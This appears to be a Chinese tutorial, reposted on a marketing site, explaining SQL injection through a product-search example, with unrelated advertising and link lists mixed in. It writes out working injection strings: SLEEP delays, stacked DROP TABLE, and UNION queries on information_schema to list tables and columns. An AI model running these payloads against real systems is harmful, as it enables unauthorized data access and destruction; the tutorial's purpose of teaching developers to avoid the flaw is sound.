
SQL注入基本原理
WEB技术发展日新月异,但是徒手拼SQL的传统手艺还是受相当多的开发者亲睐。毕竟相比于再去学习一套复杂的ORM规则,手拼更说方便,直观。通常自己拼SQL的人,应该是有听说过SQL注入很危险,但是总是心想:我的SQL语句这么简单,不可能被注入的。
花5分钟看完这个完整的例子,从今往后应该再也不敢有以上侥幸心理了。
简单场景
有一个WEB界面提供输入商品名称,展示对应价格,生产日期及生产地信息。例如输入Hammer展示:
| 产品 | 价格 | 生产地 | 生产日期 |
|---|---|---|---|
| Claw Hammer | 12.98 | American | 2019.11.07 |
| Club Hammer | 29.98 | Canada | 2019.11.11 |
我们跳过了搭建Web搜索界面的过程,直接关注重点部分: SQL注入。
如果要实现以上功能,那么我们大致可以猜到服务器使用的SQL语句如下:
SELECT ? FROM ? WHERE ? LIKE '%Hammer%';
其中?表示目前我们并不知道具体的表名和字段名,此SQL唯一可以被操纵的就是单引号里面的输入内容'%Hammer%。假如我们直接在查找框里输入一个单引号。即变成
select ? from ? where ? Like '%'%';
这样拼接后造成SQL语法错误,得不到任何结果,我们需要使用--来把最后一个单引号注释掉。
select ? from ? where ? Like '%'; -- %';
--后的是注释内容(你也可以用#),这样你可以得到所有的产品信息,目前为止,还是没有嗅到危险的信号。
| 产品 | 价格 | 生产地 | 生产日期 |
|---|---|---|---|
| Claw Hammer | 12.98 | American | 2019.11.07 |
| Club Hammer | 29.98 | Canada | 2019.11.11 |
| Paring Knife | 10.98 | China | 2019.11.11 |
| Boning Knife | 19.98 | China | 2019.01.01 |
小试牛刀and
紧紧抓住上一步中可以扩展的单引号部分。来一个简单的延时语句试一试:
select ? from ? where ? Like '%Hammer%' and 1 = SLEEP(2); -- %';
这时查询会2秒后才返回结果,如果把时间延长,用脚本多点几次查询,一下就能把数据库的连接池用完。
当然,还有破坏力更强的!
select ? from ? where ? Like '%Hammer%'; drop table xxxx; -- %';
可以直接把表/数据库直接删除掉,至于如何知道引数据库中有哪一些表(即如何确定上句SQL中的xxxx)呢?
ZYCH自由策划企业网站管理系统06 Build210109
ZYCH自由策划企业网站管理系统是一个智能ASP网站管理程序,是基于自由策划企业网站系列的升级版,结合以往版本的功能优势,解决了频道模板不能自由添加删减的问题,系统开发代码编写工整,方便读懂,系统采用程序模板分离式开发。方便制作模板后台模板切换,模板采用动态编写,此模板方式写入快,代码编写自由,即能满足直接使用也能满足二次开发。全新的后台界面,不管是在程序的内部结构还是界面风格及CSS上都做了大量
1
查看详情
为所欲为union
我们需要知道此数据库有哪一些表!这样才能能拿到有用的信息。
使用union可以把不同表的内容拼在一起,小试一下:
select ?,?,?,? from ? where ? Like '%Hammer%' UNION (select 1,2,3,4 from dual); -- %';
| 产品 | 价格 | 生产地 | 生产日期 |
|---|---|---|---|
| Claw Hammer | 12.98 | American | 2019.11.07 |
| Club Hammer | 29.98 | Canada | 2019.11.11 |
| 1 | 2 | 3 | 4 |
可以看到我们把假数据1,2,3,4成功地拼接到搜索结果中。
Mysql系统自带的信息都存在information_schema数据库中。我们试着在里面找找有用的信息。
select ? from ? where ? Like '%Hammer%' UNION (select TABLE_NAME,TABLE_SCHEMA,3,4 from information_schema.tables); -- %';
| 产品 | 价格 | 生产地 | 生产日期 |
|---|---|---|---|
| Claw Hammer | 12.98 | American | 2019.11.07 |
| Club Hammer | 29.98 | Canada | 2019.11.11 |
| authors | hawkeye | 3 | 4 |
| products | hawkeye | 3 | 4 |
| user | hawkeye | 3 | 4 |
| .... | .... | 3 | 4 |
现在知道了这些数据库名和表名,所有人都对它为所欲为了!(包括上面执行的DROP)。
看着列表一猜就能知道我们目前查的是products表,接下来我们再把products具体的字段也挖出来。
select ? from ? where ? Like '%Hammer%' UNION (select COLUMN_NAME,TABLE_SCHEMA,3,4 from imformation_schema.columns where table_name = 'products'); -- %';
| 产品 | 价格 | 生产地 | 生产日期 |
|---|---|---|---|
| Claw Hammer | 12.98 | American | 2019.11.07 |
| Club Hammer | 29.98 | Canada | 2019.11.11 |
| id | hawkeye | 3 | 4 |
| name | hawkeye | 3 | 4 |
| price | hawkeye | 3 | 4 |
| address | hawkeye | 3 | 4 |
| updated_at | hawkeye | 3 | 4 |
所以,通过上面2步,我们知道了表名和字段名,那么查询API的完整SQL应该是(把上面的?都补全啦):
select name,price,address,updated_at from products where name like '%Hammer%';
通过不断重复以上几个步骤,你就可以通过这一个小小的入口把数据库的所有信息(比如上面发现的user表
以上就是快速了解sql注入基本原理的详细内容,更多请关注其它相关文章!
# 原理
# 管理系统
# 基本原理
# 企业网站
# 生产日期
# sql注入
# 什么是搜索类关键词排名
# 荣昌县网站建设价格
# 南京营销企业网站建设
# 网站建设公司速推
# 信阳seo营销推广软件
# 滁州短视频seo推荐
# 蓬莱网页网站推广哪家好
# 广州推广软文网站
# 贵州遵义h5网站建设
# 宿迁抖音seo排名机构
# 知道了
# 最小值
# 是一个
# 的人
# 单引号
# 的是
相关栏目:
【
Google疑问12 】
【
Facebook疑问10 】
【
优化推广96088 】
【
技术知识133117 】
【
IDC资讯59369 】
【
网络运营7196 】
【
IT资讯61894 】
相关推荐:
谷歌邮箱怎么换绑定邮箱Gmail安全备份邮箱修改方法
《飞猪旅行》购买汽车票方法
百度识图图像分析 百度识图识别平台
C++如何实现单例模式_C++线程安全的单例模式写法
MacBook Pro词典使用指南
J*aScript模块加载器_RequireJS原理分析
风神瞳获取全攻略
抖音赚钱快速入门_新手必看的抖音赚钱步骤
Cassandra中复合主键、二级索引与ORDER BY排序的限制与解决方案
Python实战:高效处理实时数据流中的最小/最大值
顺丰官方查单号入口 顺丰快递单号查询官网入口
抖音号显示企业机构号是什么意思?企业机构号申请条件是什么?
LocoySpider如何批量采集电商商品_LocoySpider电商采集的模板应用
顺丰快递在线查询系统 顺丰快递官方查单入口
《绿竹漫游》关闭消息通知方法
126邮箱网页在线登录2025_126邮箱网页版入口官方地址
智云Q3和Q2有什么升级_智云Q3与Q2手持云台功能与性能对比分析
《海底捞》点外卖方法
AO3中文入口稳定分享_AO3官网HTTPS看文详解
c++如何实现观察者设计模式_c++行为型设计模式实战
苹果手机手电筒无法开启
Win10通知横幅停留时间修改 Win10自定义通知显示时长【技巧】
《三国:谋定天下》平民全阶段通用阵容
Sublime怎么配置YAML文件格式化_Sublime YAML Formatter插件教程
PHP utf8_encode 字符编码转换疑难解析与最佳实践
J*aScript装饰器_元编程实战
sublime怎么在文件中显示代码结构大纲_sublime符号列表功能
php如何实现多域名共享session_php存储session到redis与跨域读取配置
Composer reinstall命令重装损坏的包
2025考研成绩查询时间入口分享
《狐友》联系客服方法
PHP动态导航按钮:根据用户登录状态切换链接与文本
阿里云共享相册入口在哪
响应式设计中动态背景颜色条的实现指南
手机雨课堂网页版入口免登录 雨课堂网页版可点击直接进入
mysql离线安装后如何启动_mysql离线安装完成后启动服务的方法
手机远程连接电脑方法
《edge浏览器》关闭翻译功能方法
支付宝网页版在线入口 支付宝官网电脑登录入口
微博网页版入口链接 微博网页版在线互动平台
mysql如何管理数据库账户_mysql数据库账户管理技巧
J*a中的值传递到底指什么_值传递模型在参数传递中的真正含义说明
曝《丝之歌》DLC有望开发!开发商还有神秘新企划
Win10如何关闭操作中心通知 Win10免打扰设置全攻略【清爽】
Go语言反射机制:如何访问被嵌入结构体遮蔽的方法
鲁班大师乓乓皮肤获取方法
嘴唇干裂起皮怎么办 唇部护理与预防干裂的方法【详解】
Windows自带的便笺数据如何备份_防止数据丢失的便利贴迁移教程【干货】
京东快递物流信息不更新怎么办_物流停滞原因与处理方法
iQOO手机信号差网络不稳定怎么办 信号问题原因排查与增强设置【攻略】
2019-11-29
运城市盐湖区信雨科技有限公司是一家深耕海外推广领域十年的专业服务商,作为谷歌推广与Facebook广告全球合作伙伴,聚焦外贸企业出海痛点,以数字化营销为核心,提供一站式海外营销解决方案。公司凭借十年行业沉淀与平台官方资源加持,打破传统外贸获客壁垒,助力企业高效开拓全球市场,成为中小企业出海的可靠合作伙伴。